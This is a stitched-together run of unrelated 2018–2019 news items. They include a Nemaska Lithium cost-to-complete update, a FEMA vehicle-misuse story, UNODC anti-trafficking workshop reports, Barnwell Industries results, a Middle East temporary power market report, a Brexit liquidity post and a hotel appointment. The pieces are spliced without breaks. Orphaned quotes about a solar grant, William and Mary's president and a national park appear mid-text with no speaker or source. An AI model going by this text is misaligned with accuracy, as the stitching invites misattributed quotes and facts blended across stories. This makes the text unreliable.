QUEBEC CITY, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Nemaska Lithium Inc. (the Corporation) (TSX: NMX) (OTCQX: NMKEF) (Frankfurt: N0T) today provides an update on the evolution of the Whabouchi project (mine and electrochemical plant). The Corporation reports that construction and purchasing of equipment at both the Whabouchi mine and the Shawinigan electrochemical plant are progressing on schedule. As expected at this stage of construction, a cost to complete reassessment was performed to reflect the current level of detailed engineering and reception of numerous firm quotes for equipment and installation.

We now have a better understanding on the remaining scope of the project, estimated budget and current market conditions. The revised overall project cost reflects a more precise outlook on installation costs and other key variables to the completion of our project, said Guy Bourassa, President and CEO of Nemaska Lithium.

As at December 31, 2018, CAD 138.4M has been incurred for the Whabouchi mine, and CAD 67.3M for the Shawinigan electrochemical plant covering mainly engineering, site and civil works. As of February 8, 2019, the Corporation had on hand CAD 335M in unrestricted cash and cash equivalents.

Cost to Complete Reassessment

Based on the CAD 1.1B financing package announced on May 30, 2018, and based on the past eight (8) months of construction, the Corporation currently estimates that additional net funds of about CAD 375M would be required to enable the Corporation to complete construction and meet the drawdown conditions provided in the streaming agreement with Orion Mine Finance and the senior secured bonds closed on April 12 and May 30, 2018 respectively.

An important portion of these costs are now being based on finalized agreements and/or bids received rather than estimates as it was the case for the NI 43-101 Technical Report. This additional estimated funding, which is largely related to installation and indirect costs, was determined as a result of a detailed review and deeper knowledge of all project components, including detailed engineering work, revised site geotechnical data and updated equipment and installation costs. On the other hand, direct purchase package costs, mainly representing equipment, are in line with the initial budget.

Project construction is on time and we have a capable team in place to execute and deliver the project. We also have the benefit of a strong shareholder base as well as partners with whom we are working very closely to identify a variety of funding solutions to deliver the project according to the schedule, said Guy Bourassa. We are evaluating several options that would enable existing and new shareholders, and project partners to join the table. Our objective remains to close the required financing on time to stay on target to complete mine construction in October 2019, in order to make the first shipment of spodumene concentrate in December 2019, followed by the start-up of the Shawinigan facility the year after.

Ongoing Activities

In the meantime, the Corporation continues to deliver high quality lithium hydroxide products from the Phase 1 plant: We have recently completed the installation of the drying and bagging equipment, and we have started producing lithium hydroxide monohydrate that meets battery industry product specifications, added Mr. Bourassa. We are very pleased with the high interest demonstrated for the product as over twenty end-users from across the world have requested to receive some of the first samples for qualification.

The Corporation is currently evaluating the opportunity to increase the lithium hydroxide versus carbonate sales ratio to better meet the growing demand of hydroxide globally.

In parallel, significant work has also been done to finalize and implement the Whabouchi mine readiness plan, everything from procurement to operations, as well as recruitment and training activities.

Currently, there is a very limited number of vertically-integrated lithium projects that are fully permitted and under construction around the world and Nemaska Lithium is the most advanced. As new sources of supply are required, mainly for electrical vehicles, we are building in Quebec strong and valuable assets that will support innovative and green business opportunities, concluded Mr. Bourassa.

About Nemaska Lithium

Nemaska Lithium Inc. is a developing chemical company whose activities will be vertically integrated, from spodumene mining to the commercialization of high-purity lithium hydroxide and lithium carbonate. These lithium salts are mainly destined for the fast-growing lithium-ion battery market, which is driven by the increasing demand for electric vehicles and energy storage worldwide. With its products and processes, the Corporation intends to facilitate access to green energy, for the benefit of humanity.

The Corporation will be operating the Whabouchi mine in Quebec, Canada, one of the richest lithium spodumene deposits in the world, both in volume and grade. The spodumene concentrate produced at the Whabouchi mine will be processed at the Shawinigan plant using a unique membrane electrolysis process for which the Corporation holds several patents.

The Corporation is a member of the S&P/TSX SmallCap Index, S&P/TSX Global Mining Index, S&P/TSX Global Base Metals Index, S&P/TSX Equal Weight Global Base Metals Index, and the MSCI Canada Small Cap Index. For more information, visit www.nemaskalithium.com or twitter.com/Nemaska Lithium .

Cautionary Statement on Forward-Looking Information

All statements, other than statements of historical fact, contained in this press release including, but not limited to, those relating to obtaining the additional capital required to enable the Corporation to complete construction, the estimated additional costs for completing the construction of the Whabouchi mine and the Shawinigan plant, the ability to meet funding conditions under the streaming agreement and the senior secured bonds, the expected unfolding of construction and commissioning as well as the anticipated start of production at the Whabouchi mine and Shawinigan plant sites, constitute forward-looking information and forward-looking statements within the meaning of certain securities laws and are based on expectations and projections as of the date of this press release. Certain important assumptions by the Corporation in making forward-looking statements include, but are not limited to, the obtaining of the additional capital required to fulfill the conditions precedent to receive the remaining proceeds from the project financing being the second tranche payment under the Streaming facility and the Bonds offering proceeds.

Forward-looking statements contained in this press release include, without limitation, those related to (i) the ability of the Corporation to secure additional funds, including the ability of the Corporation to implement funding solutions to meet the revised budget and deliver the project according to the schedule, (ii) the revised costs which are based on current estimates and may be subject to variations, (iii) construction advancing on schedule at both the Whabouchi mine and the Shawinigan plant, (iv) the ability of the Corporation to meet funding conditions under the streaming agreement and the senior secured bonds, (v) the outcome of the evaluation of several options that would enable existing and new shareholders and project partners to provide funding, (vi) the ability of the Corporation to complete the mine construction in October 2019 and make the first shipment of spodumene concentrate in December 2019 followed by the start of the Shawinigan facility the year after (vii) the interest from users for samples from the Phase 1 Plant, and (viii) generally, the above About Nemaska Lithium paragraph which essentially describes the Corporations outlook. Forward-looking statements are based on expectations, estimates and projections as of the time of this press release. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable by the Corporation as of the time of such statements, are inherently subject to significant business, economic and competitive uncertainties and contingencies. These estimates and assumptions may prove to be incorrect.

Many of these uncertainties and contingencies can directly or indirectly affect, and could cause, actual results to differ materially from those expressed or implied in any forward-looking statements. There can be no assurance that the Whabouchi mine and/or the electrochemical plant in Shawinigan will be commissioned and will begin production, as future events could differ materially what is currently anticipated by the Corporation.

By their very nature, forward-looking statements involve inherent risks and uncertainties, both general and specific, and risks exist that estimates, forecasts, projections and other forward-looking statements will not be achieved or that assumptions do not reflect future experience. Forward-looking statements are provided for the purpose of providing information about managements expectations and plans relating to the future. Readers are cautioned not to place undue reliance on these forward-looking statements as a number of important risk factors and future events could cause the actual outcomes to differ materially from the beliefs, plans, objectives, expectations, anticipations, estimates, assumptions and intentions expressed in such forward-looking statements. All of the forward-looking statements made in this press release are qualified by these cautionary statements and those made in our other filings with the securities regulators of Canada including, but not limited to, the cautionary statements made in the Risk Factors section of the Corporations Annual Information Form dated October 10, 2018, and the Risk Exposure and Management section of the Corporations quarterly Management Discussion & Analysis. The Corporation cautions that the foregoing list of factors that may affect future results is not exhaustive, and new, unforeseeable risks may arise from time to time. The Corporation disclaims any intention or obligation to update or revise any forward-looking statements or to explain any material difference between subsequent actual events and such forward-looking statements, except to the extent required by applicable law.

Further information regarding Nemaska Lithium is available in the SEDAR database (www.sedar.com) and on the Corporations website at: www.nemaskalithium.com .

FOR FURTHER INFORMATION, PLEASE CONTACT:"The grant we provide not only covers teacher training, but also includes classroom kits like single-solar wafers so that students can understand how clean solar energy works and what a valuable role it can play in their lives, Stephan said. We are very proud of that work, and its a primary benefit of these projects."I held off the decision until I knew who will be the new president, Gates said. The selection of Dr. Katherine Rowe  was the decisive factor in accepting the second term. I am confident that under her leadership, the future of William and Mary will be bright. President Rowe will bring changes and innovations to the college, and those will make William and Marys tradition stronger.These tremendous local stewards undertook these efforts because of their desire to cherish and protect this national park in their backyard. We are so glad to be back to work and doing our jobs, and we wanted to take a moment to stop and thank all of those who contributed to the care of these resources and special places in our absence.FEMA Administrator William "Brock" Long has been ordered to reimburse the government for his misuse of federal vehicles, but he will be allowed to remain in his job, according to statements from Long and Department of Homeland Security Secretary Kirstjen Nielsen released late Friday.

The statements appeared to be aimed at overcoming a tense feud between Long and Nielsen that has distracted staff at FEMA - where Long is well-liked - right at the moment that the agency is coping with flooding from Hurricane Florence.

A person familiar with Long's case said he will not be referred for criminal charges, a possibility that left him rattled this week and on the verge of quitting right as Florence hit his home state, North Carolina. President Donald Trump has told advisers he likes Long and wants him to stay in the job, according to a senior administration official who spoke on the condition of anonymity in order to discuss the FEMA administrator's predicament.

In a phone call Friday morning, Long and Nielsen discussed the inspector general's final report, according to two senior government officials, and seemed to reach a resolution to their bitter feud. Long has told colleagues he hoped the resolution would lead to detente with Nielsen. In her statement, Nielsen said a review of the FEMA administator's conduct by the DHS Inspector General was complete. Long's use of government vehicles to travel between Washington and his home in Hickory, North Carolina, had been done "without proper authorization," she said.

"The FEMA Administrator has unique responsibilities to ensure the government continues to operate effectively in catastrophic circumstances," Nielsen's statement read. "For nearly a decade, FEMA Administrators have been transported in and had access to government vehicles equipped to ensure senior leader connectivity in times of crisis. Despite this established practice, use of government vehicles to provide home to work transportation for the FEMA Administrator was never authorized in accordance with applicable law."

Long's statement, sent to reporters by DHS officials, not FEMA staff, said he would take "corrective action."

"As the leader of this agency, I accept full responsibility for any mistakes that were made by me or the agency," the statement said.

According to Nielsen's statement, the Inspector General's report determined that Long had used government vehicles for "non-official reasons," and those trips would have to be paid back. DHS will conduct a review of the agency's home-to-work transportation programs, Nielsen said.

The Washington Post's William Wan contributed to this report.

First published by The Washington Post.The 2021 USA Cycling Professional Road National Championships came to Knoxville on Father's Day weekend. This is the fourth year for Knoxville to host the U.S. Pro Road and Individual Time Trial Championships and the third year to host the U.S. Pro Criterium Championships.1st cycle (initiated from 2018): Space experiments on board CSS

The United Nations Office for Outer Space Affairs (UNOOSA), in cooperation with the China Manned Space Agency (CMSA), is pleased to launch the "United Nations/China Cooperation on the Utilization of the China Space Station" programme under the framework of the UNOOSA's Access to Space for All Initiative. Through this programme, UNOOSA intends to capitalize on the technological and innovative skills of the Government of China to benefit Member States of the United Nations, in particular developing countries, thereby contributing to the 17 Sustainable Development Goals (SDGs) through increasing access to space.

The programme is jointly implemented by UNOOSA and CMSA. It provides scientists from around the world with an opportunity to conduct their own experiments on board China's Space Station (CSS). It is an innovative and future-focused programme to open up space exploration activities to all nations and to create a new paradigm in building capabilities in space science and technology.

The Announcement of Opportunity (AO) is the invitation for scientific experiments on-board the CSS under the programme. The Handbook provides detailed technical information on the CSS and its resources for international cooperation. Applicants need to provide their proposal for space experiments and information on their team in the Application Form, which will be the mainstay for the preliminary selection.GLO.ACT supports workshop for gendarmes on human trafficking and migrant smuggling

Zinder, Niger 13 February 2019 - UNODC, under the framework of the Global Action against Trafficking in Persons and the Smuggling of Migrants (GLO.ACT) and as part of its support to the government of Niger, organized a capacity-building workshop for staff of the National Gendarmerie of Niger on Trafficking in Persons (TIP) and the Smuggling of Migrants (SOM) from 4 to 6 December 2018. 25 gendarmes, including 11 women participated in the training representing all regions of Niger

In terms of country context, Niger is a country of origin, destination and, above all, transit for migrants. To address TIP and SOM, Niger adopted a specific law on TIP in 2010, followed by an action plan (2014-2018) and another on SOM in 2015. Since then, additional efforts have been made to combat these crimes. In particular through the National Agency to Combat TIP and SOM, which has undertaken appropriate actions in terms of prevention as well as protection and assistance for TIP victims.

Therefore, to strengthen the capacity of various actors in charge of combating these two crimes, specialised training sessions were organized. It is important to note however that, unlike their colleagues in the national police, who have benefited greatly from training on TIP and SOM, the gendarmes who play a leading role in the detection of TIP and SOM have not had this opportunity, even though their interventions are mainly carried out in rural areas where these offences are very common. Thus, in context of the implementation of the 2014-2018 action plan to combat TIP, and in accordance with its strategic axis on capacity building for the prevention of TIP, the National Agency to Combat TIP and SOM and UNODC, through GLO.ACT, organized a workshop for the personnel of the national gendarmerie of Niger.

Therefore the main objectives of three-day training were:

To build the capacity of participants in understanding TIP and SOM;

To discuss in detail roles and responsibilities of the gendarmes in the fight against TIP and SOM;

To provide participants with the necessary tools in terms of texts, documents and techniques to enable them to detect TIP and SOM and order to carry out effective investigations.

The workshop was opened by Colonel Moukaila Issa, Commander of the Zinder Gendarmerie Legion, who stressed the importance of this training for gendarmes, explaining that it would equip them with the necessary tools in their capacity as law enforcement officer, tasked with identifying human trafficking and migrant smuggling cases.

The workshop covered subjects such as: definitions and identification tools for TIP and SOM, special investigation techniques, document fraud related to migrant smuggling, interview techniques as well as international, regional and national legal frameworks. Upon conclusion of the workshop participants confirmed that the content had been very useful and thanked UNODC for providing this opportunity. In addition, workshop participants were strongly encouraged to share with colleagues back at their units the content of the course. The hope is that additional courses will be run in order to ensure that the capacity of the gendarmes in detecting TIP and SOM matches that of the national police.

The workshop also made recommendations aimed essentially at reviewing certain provisions of Ordinance 2010-086 of 16 December 2010 on TIP and Act 2015-036 of 26 May 2015 on the SOM in order to provide more pragmatic responses in the fight against these two crimes.

The Global Action to Prevent and Address Trafficking in Persons and the Smuggling of Migrants (GLO.ACT) is a four-year (2015-2019), 11 million joint initiative by the European Union (EU) and the United Nations Office on Drugs and Crime (UNODC). The project is being implemented in partnership with the International Organization for Migration (IOM) and the United Nations Children's Fund (UNICEF). GLO.ACT aims to provide assistance to governmental authorities and civil society organizations across 13 strategically selected countries: Belarus, Brazil, Colombia, Egypt, Kyrgyz Republic, Lao PDR, Mali, Morocco, Nepal, Niger, Pakistan, South Africa, Ukraine. It supports the development of more effective responses to trafficking and smuggling, including providing assistance to victims of trafficking and vulnerable migrants through the strengthening of identification, referral, and direct support mechanisms.

This activity also contributed to the Regional Strategy to Combat Trafficking in Human Beings and Smuggling of Migrants (2015-2020) as well as UNODC's Regional Programme for West Africa (2016-2020).

For more information, please contact:

www.unodc.org/unodc/en/human-trafficking/glo-act/

Email: glo.act@un.org

Twitter: @glo_actGLO.ACT Partners Meet with the European Union

Vientiane, Lao PDR - 13 February 2019 - On 6 February, partner agencies of the Global Action against Trafficking in Persons and the Smuggling of Migrants (GLO.ACT), held their first quarterly meeting of 2019 with the European Union (EU). Meeting with the EU Delegation to Lao PDR, GLO.ACT implementing agencies including, the United Nations Office on Drugs and Crime (UNODC), United Nations Children's Fund (UNICEF), and the International Organization for Migration (IOM), shared updates on recently completed and upcoming project activities.

UNICEF National Project Officer, Ms. Souphavone Dalavong began with updates on UNICEF's recent activities, including training for local child protection networks, supporting the Lao Women's Union (LWU) with returned victims of trafficking from Thailand and China, including 14 victims (12 female, 2 male) in the final quarter of 2018, and holding two workshops for the continued development of the National Protection Guidelines for Victims of Trafficking. Ms. Dalavong highlighted the forthcoming TIP prevention campaign targeting local communities, launching in Bolikhamxay Province from 6-14 February, and again in Xiengkuang Province in early March.

Ms. Sourivonexay Phrommala, IOM National Project Officer, updated the partners on the development of the National Referral Mechanism (NRM) and victim identification training for the LWU Shelter, which has tentatively been scheduled for the end of February. Ms. Phrommala indicated progress is ongoing with the development of the NRM by the LWU, and that a draft version will be ready for review mid-March.

Providing progress updates from UNODC, GLO.ACT National Project Officer Ms. Siliphaithoun Xayamoungkhoun reiterated UNODC's focus remains on strengthening criminal justice responses for Trafficking in Persons (TIP) and Smuggling of Migrants (SOM). She highlighted two GLO.ACT activities launched in November, a data consultation meeting with government counterparts and a legal information exchange between Lao and Thai government and development partners, and discussed upcoming plans for the continued implementation of these outcomes. In particular, next steps include a series of technical trainings on database maintenance for the Ministry of Public Security's Anti-Trafficking Department, and a legal exchange for two Lao lawyers to intern with a Thai NGO to learn more about the legal assistance available for Lao victims of trafficking in Thailand. Additional planned activities include working with existing media capacities to implement awareness raising campaigns and improving the coordination of responses on the country's existing TIP hotlines.

The meeting concluded with several announcements including the recent opening of the LWU shelter in Luang Namtha Province - the first shelter for victims of trafficking North of Vientiane - the upcoming quarterly Human Trafficking Working Group hosted by the Ministry of Foreign Affairs and UNODC, on 28 February, and the EU-Laos Human Rights Dialogue on 7 March.

The next interagency partners meeting will be held in early May.

The Global Action to Prevent and Address Trafficking in Persons and the Smuggling of Migrants (GLO.ACT) is a four-year (2015-2019), 11 million joint initiative by the European Union (EU) and the United Nations Office on Drugs and Crime (UNODC). The project is being implemented in partnership with the International Organization for Migration (IOM) and the United Nations Children's Fund (UNICEF). GLO.ACT aims to provide assistance to governmental authorities and civil society organizations across 13 strategically selected countries: Belarus, Brazil, Colombia, Egypt, Kyrgyz Republic, Lao PDR, Mali, Morocco, Nepal, Niger, Pakistan, South Africa, Ukraine. GLO.ACT works with the 13 countries to plan and implement strategic national counter-trafficking and counter-smuggling efforts through a prevention, protection, prosecution, and partnerships approach. It supports the development of more effective responses to trafficking and smuggling, including providing assistance to victims of trafficking and vulnerable migrants through the strengthening of identification, referral, and direct support mechanisms.

More information about GLO.ACT is available here.

For more information, please contact:

Ms. Siliphaithoun Xayamoungkhoun

GLO.ACT National Project Officer

Email: siliphaithoun.xayamoungkhoun@un.org

Website: www.unodc.org/unodc/en/human-trafficking/glo-act/

Email: glo.act@un.org

Twitter: @glo_actHONOLULU, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Barnwell Industries, Inc. (NYSE American: BRN) today reported a net loss of $4,600,000, $0.56 per share, for the three months ended December 31, 2018, as compared to a net loss of $1,017,000, $0.12 per share, for the three months ended December 31, 2017.



Mr. Alexander Kinzler, Chief Executive Officer of Barnwell, commented, The loss for the quarter ended December 31, 2018 as compared to last years net loss for the three months ended December 31, 2017 was largely due to a $2,170,000 non-cash impairment of our oil and natural gas properties due to low oil and natural gas prices; there was no such oil and natural gas impairment in the prior year; a $950,000 decrease in oil and natural gas segment operating results, before the impairment and income taxes, due primarily to a 45% decrease in oil prices; and a $460,000 income tax benefit in the prior year period due to the enactment of changes to U.S. federal income tax laws in December 2017, whereas there was no such benefit in the current period.

Oil and gas production increased in the quarter ended December 31, 2018 as compared to the quarter ended December 31, 2017 (oil and natural gas liquids up 122% and natural gas up 71%), reflecting a full 3 months of production from the Twining acquisition and a new well at the Balsam/Bonanza area. Unfortunately, oil prices received by the Company were extremely weak in the quarter ended December 31, 2018 as a result of a significant widening of Canadian oil differentials due to pipeline capacity constraints.

In December of 2018, the Alberta Government announced mandatory production curtailments to larger producers that is returning these differentials to a normal range for conventional light and medium oil. Starting with the production month of January, 2019, prices are anticipated to reflect a more normal differential. The Company does not produce any heavy crude and is not impacted by the production curtailments that have been imposed. However, due to the Companys reduced cash inflows the CEO and CFO have each agreed to reduce their salary by 26% and the directors have agreed to reduce their fees among other steps being taken to reduce general and administrative costs.

Barnwell ended the quarter with $6,613,000 in working capital which includes $6,098,000 in cash and cash equivalents.

The information contained in this press release contains forward-looking statements, within the meaning of the Private Securities Litigation Reform Act of 1995, Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. A forward-looking statement is one which is based on current expectations of future events or conditions and does not relate to historical or current facts. These statements include various estimates, forecasts, projections of Barnwells future performance, statements of Barnwells plans and objectives, and other similar statements. Forward-looking statements include phrases such as expects, anticipates, intends, plans, believes, predicts, estimates, assumes, projects, may, will, will be, should, or similar expressions. Although Barnwell believes that its current expectations are based on reasonable assumptions, it cannot assure that the expectations contained in such forward-looking statements will be achieved. Forward-looking statements involve risks, uncertainties and assumptions which could cause actual results to differ materially from those contained in such statements. The risks, uncertainties and other factors that might cause actual results to differ materially from Barnwells expectations are set forth in the Forward-Looking Statements, Risk Factors and other sections of Barnwells annual report on Form 10-K for the last fiscal year and Barnwells other filings with the Securities and Exchange Commission. Investors should not place undue reliance on the forward-looking statements contained in this press release, as they speak only as of the date of this press release, and Barnwell expressly disclaims any obligation or undertaking to publicly release any updates or revisions to any forward-looking statements contained herein.

COMPARATIVE OPERATING RESULTS (Unaudited) Quarter ended December 31, 2018 2017 Revenues $ 2,595,000 $ 1,856,000 Net loss attributable to Barnwell Industries, Inc. $ (4,600,000 ) $ (1,017,000 ) Net loss per share  basic and diluted $ (0.56 ) $ (0.12 ) Weighted-average shares and equivalent shares outstanding: Basic and diluted 8,277,160 8,277,160



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Cloudy skies this morning followed by thunderstorms during the afternoon. A few storms may be severe. High 78F. Winds SSW at 10 to 20 mph. Chance of rain 60%..

Tonight

Scattered thunderstorms. A few storms may be severe. Low 67F. Winds S at 10 to 15 mph. Chance of rain 40%.Deadline to fill out and file taxes with the Internal Revenue Service is April 15.Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "Middle Eastern Temporary Power and Cooling Market by Power Rating (Up To 500kVA, 501-1,000 kVA, 1,001-1,250 kVA, and Above 1,250 kVA), Equipment (Cooling Tower, AHU, Air Conditioner, Chiller), Application, and Region - Forecast to 2023" report has been added to ResearchAndMarkets.com's offering.



The Middle Eastern temporary power market is projected to reach USD 1,102 million by 2023 at a CAGR of 12.12% from an estimated USD 622 million in 2018, whereas the Middle Eastern temporary cooling market is projected to reach a size of USD 305 million by 2023 at a CAGR of 5.78% from an estimated USD 230 million in 2018.



This can be attributed to a large number of events in the region, lesser turnaround time, power shortage during high-demand periods, and growing construction and infrastructure investments. The rise in T&D investments, growing environmental concerns, and rigorous environmental norms can hinder the growth of the market.



The above 1,250 KVA segment held the largest market share in 2017 and is estimated to be the largest segment during the forecast period. Increasing construction, manufacturing, and utility activities across the region are expected to drive the above 1,250 kVA segment. For instance, In Saudi Arabia, the construction industry is estimated to rise from USD 105.6 billion in 2015 to USD 148.5 billion by 2020 owing to the increased government contributions and investments in sectors such as healthcare, education, and construction, as per Timetric's Construction Intelligence Center (CIC). Such factors are expected to drive the above 1,250 KVA segment in the Middle East.



The air handling unit (AHU) segment is expected to grow at the fastest rate between 2018 and 2023. Increasing industrialization, infrastructure projects, and district cooling/heating projects in the Middle East are some of the major factors driving the AHU segment. Also, increasing construction activities such as shopping malls, hospitals, universities, data centers, and server room, which require AHUs to regulate and circulate air across the room, would create demand for AHUs in the region.



Saudi Arabia is expected to be the largest and fastest Middle Eastern temporary power and cooling in 2023 and is projected to grow at the highest CAGR. Earlier, Saudi Arabia was mostly dependent on the oil & gas sector, but due to a drop in oil prices, it became a challenge for the country to maintain its economy.

Thus, in order to maintain its economy growth, the country primarily focuses on increasing the number of construction and event activities. The construction industry of the country is expected to grow with a number of upcoming projects in the transport, utilities, education, and healthcare sectors, among others. Moreover, the government of Saudi Arabia plans to invest USD 293 million in major infrastructure projects across the country, which include 16,000 drainage connections to homes. Therefore, increasing focus on construction and event activities would drive the Saudi Arabian temporary power and cooling market.



The leading players in the Middle Eastern temporary power and cooling include Aggreko (UK), RSS (UAE), Altaaqa (UAE), Cummins (Saudi Arabia), Byrne (UAE), Johnson Controls (Ireland), Geo Rental (UAE), and Argonaut (UAE).



Key Topics Covered:



1 Introduction



2 Research Methodology



3 Executive Summary



4 Premium Insights

4.1 Attractive Opportunities in the Temporary Power and Cooling Market, 2018-2023

4.2 Temporary Power Market, By Power Rating

4.3 Temporary Cooling Market, By Equipment

4.4 Temporary Power Market, By Application

4.5 Temporary Cooling Market, By Application



5 Market Overview

5.1 Introduction

5.2 Policy Analysis

5.2.1 Saudi Arabia

5.2.2 UAE

5.2.3 OMAN

5.2.4 Bahrain

5.2.5 Kuwait

5.2.6 Qatar

5.3 Market Dynamics

5.3.1 Drivers

5.3.1.1 Large Number of Events in the Region

5.3.1.2 Lesser Turnaround Time

5.3.1.3 Power Shortage During High-Demand Periods

5.3.1.4 Growing Construction and Infrastructure Investments

5.3.1.5 Rise in GDP Contribution From the Non-Oil Sectors

5.3.1.6 Expansion of It and Data Center Projects

5.3.2 Restraints

5.3.2.1 Rise in T&D Investments

5.3.2.2 Rising Environmental Concerns

5.3.2.3 Rigorous Environmental Norms

5.3.3 Opportunities

5.3.3.1 Aging Power Infrastructure

5.3.3.2 Potential Implementation of Digital Technologies in Temporary Power & Cooling Solutions

5.3.4 Challenges

5.3.4.1 Intense Competition Within the Specialty Sector



6 Temporary Power Market, By Power Rating

6.1 Introduction

6.2 Up to 500kVA

6.2.1 Increasing Events, Commercial Building and Facilities is Expected to Boost the Market in the Middle East Region

6.3 501-1,000 Kva

6.3.1 Construction Adn Hvac Activites Will Boost the Temporary Power Market for 501 to 1,000 Kva Segment

6.4 1,001-1,250 Kva

6.4.1 Heavy Construction, Manufacturing, and Utilities Would Drive the Demand for 1,001 to 1,250 Kva Segment

6.5 Above 1,250 Kva

6.5.1 Increasing Oil & Gas Activities and Heavy Construction Would Drive the Above 1,250 Kva Segment During the Forecast Period



7 Temporary Cooling Market, By Equipment

7.1 Introduction

7.2 Cooling Tower

7.2.1 Saudi Arabia Holds the Largest Market Share

7.3 Air Handling Unit (AHU)

7.3.1 Increasing Industrialization and Infrastructure Projects in the Middle East Region is the Major Key Factor for the AHU Market

7.4 Air Conditioner

7.4.1 Increasing It and Data Center is Expected to Boost the Air Conditioner Market

7.5 Chiller

7.5.1 Increasing Events Activities Across the Middle East Region Will Boost the Chiller Market



8 Temporary Power and Cooling Market, By Application

8.1 Introduction

8.2 Construction

8.2.1 Qatar is Expected to Hold the Largest Market Share in the Construction

8.3 Oil & Gas

8.3.1 Increasing Demand for Oil & Gas From the Asia Pacific Region

8.4 Utilities

8.4.1 UAE is Expected to Grow at A Highest Cagr for Utilities Segment

8.5 Real Estate & Data Center

8.5.1 Increasing Data Center in the Middle East Region

8.6 Events

8.6.1 Increasing Number of Events in the Middle East Region Will Boost the Temporary Power and Cooling Market

8.7 Marine

8.7.1 Saudi Arabia is Holding the Largest Market Share for Marine Industry

8.8 Military

8.8.1 Qatar is Holding the Largest Market Share

8.9 Manufacturing

8.9.1 Infrastructural Transformation in the Country is Expected to Drive the Manufacturing Demand



9 Temporary Power and Cooling Market, By Country

9.1 Introduction

9.2 Middle East

9.2.1 By Country

9.2.1.1 Saudi Arabia

9.2.1.1.1 Oil & Gas and Events Activities are Dominating the Temporary Power and Cooling Market in the Country

9.2.1.2 UAE

9.2.1.2.1 Increases Focuses on the Construction Sector is Expected to Boost the Demand for Temporary Power and Cooling Market in the Country

9.2.1.3 OMAN

9.2.1.3.1 Increasing Investment Towards the Oil & Gas and Utilities Sector is Likely to Drive the Temporary Power and Cooling Market

9.2.1.4 Bahrain

9.2.1.4.1 Increasing Number of Data Center in the Country Will Boost the Demand for the Market

9.2.1.5 Kuwait

9.2.1.5.1 Growth in the Construction and Real Estate Industries is Expected to Boost the Demand for Market

9.2.1.6 Qatar

9.2.1.6.1 Growing Construction and Event Activities Across the Country Will Boost the Market Growth

9.2.1.7 Rest of Middle East



10 Competitive Landscape

10.1 Introduction

10.2 Ranking of Players & Market Structure

10.3 Competitive Scenario

10.3.1 Contracts & Agreements

10.3.2 New Product Launches

10.3.3 Investments & Expansions

10.3.4 Others



11 Company Profiles



Aggreko

Al Faris Group

Al Shola

Altaaqa

Andrews Sykes Climate Rental

Argonaut

Atlas Copco

Byrne Equipment Rental

Cummins Arabia

Energyst Rental Solutions

Flow Air & Power Solution

Geo Rental Solutions

Jassim Transport & Stevedoring Co.

Johnson Controls

Rental Solutions & Services

Smart Energy Solutions

Trane Rental Services

For more information about this report visit https://www.researchandmarkets.com/research/6tpgcf/middle_eastern?w=12

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.Where Will The Liquidity Shift within Europe?

Recently, Phil from the FT highlighted the risk for about 90 dual-listed companies under a no-deal Brexit. But I think the problem is much bigger. In our own analysis, we took it further and found about 230 liquid stocks (not necessarily dual listed) that had roughly a 50:50 split of turnover across UK and EU27. While dual listing complicates compliance, it also causes a problem if half of your turnover is on the wrong side of the Channel.

At the heart of the problem is the little known MiFID II trading obligation which is currently flexing its extraterritorial muscle. The rule requires EU firms to trade all equities on an EU recognised trading venue. Under a no Brexit deal the EU is planning to treat UK venues as non-equivalent, and in fact, has also threatened Switzerland with removing their equivalence too.

Switzerland attempts to neutralize the problem by banning EU27 venues from trading Swiss shares. Will this work? Switzerlands approach will probably be successful in securing access to SIX for EU investors. However, it inevitably gets more complex than that. First, EU Systematic Internalisers may step up to offer trading in Swiss stocks and second, the ultimate type of Brexit we endure, will determine whether Swiss stocks actually are traded in London.

With all this political upheaval, the chances for a major liquidity shift must be high. The trick will be in working out the winners and losers.

For more information on related topics, visit the following channels:Sri Lanka will host a prestigious conference aimed at celebrating youth leadership, cultural diversity and global togetherness in July this year.

The 71st AIESEC International Congress will be hosted from July 6 to 14 under the strategic guidance

of Sri Lanka Convention Bureau with the participation of over 800 young leaders from more than 120

countries.

The conference will comprise a series of vibrant events such as the Opening Ceremony,

Global Village, YouthSpeak Forum, Worlds Largest Lesson and Sri Lankan Night.

AIESEC is one of the worlds largest youth-run organizations. It is independent, non-profitable,

non-political with the vision of achieving peace and fulfilment of humankind's potential. It provides

youth a platform to develop their leadership potential to impact the world by facilitating cross-cultural

exchanges for volunteer opportunities and internships abroad from over 120 countries worldwide.

As an organization, it has impacted over 5000 partner organizations and is represented in

over 2,400 universities with more than 90,000 active members and over 1,000,000 alumni worldwide.

 As a leading youth movement in the country, AIESEC in Sri Lanka believes that it is the responsibility

of youth to engage actively in the development of the nation, said Isuru Premathilake, current president of AIESEC in Sri Lanka. - TradeArabia News ServiceMirco Iada has been appointed as the general manager of The Canvas Hotel Dubai MGallery by Sofitel, located in Bur Dubai.



A Swiss hospitality expert, Iada was entrusted with the task of spearheading the re-branding of the five-star property in July 2018 by AccorHotels. Since then, he has ensured all stages of the programme are being executed seamlessly.



Iada brings more than two decades of experience to his current role. Prior to this appointment, he was the director of operations of the 468-key Pullman Doha West Bay, where his responsibilities included implementing the SOP and OPS of the brand, alongside recruiting the right talent for the hotel.



Iada began his hospitality career in Switzerland and has held various F&B and front office positions. He joined AccorHotels in 2000 as the Deputy General Manager of the Novotel Geneva Centre in Geneva, Switzerland. He later took on the mantle of General Manager at the four-star deluxe hotel and has subsequently worked with four brands under AccorHotels prestigious portfolio.



He moved to the Middle East in 2012 joining Novotel Dubai Al Barsha as its hotel director, in the pre-opening phase. During his tenure there, he was instrumental in the successful opening and operations of the property. Following this stint, he took up the position of director of operations of the five-star luxury hotel Sofitel Abu Dhabi Corniche, where he was in charge of the daily operations to deliver a superior guest experience and maximise profitability. He was also responsible for driving proactive sales and marketing initiatives.



Im excited to join The Canvas Hotel Dubai and work within the prestigious MGallery portfolio. This is MGallerys second property in Dubai. Were currently revamping the hotel using a phased approach to deliver maximum guest comfort. Several physical and aesthetic changes will be visible in the property over the next few months, reflecting the AccorHotels brand. We look forward to a successful 2019, commented Iada.



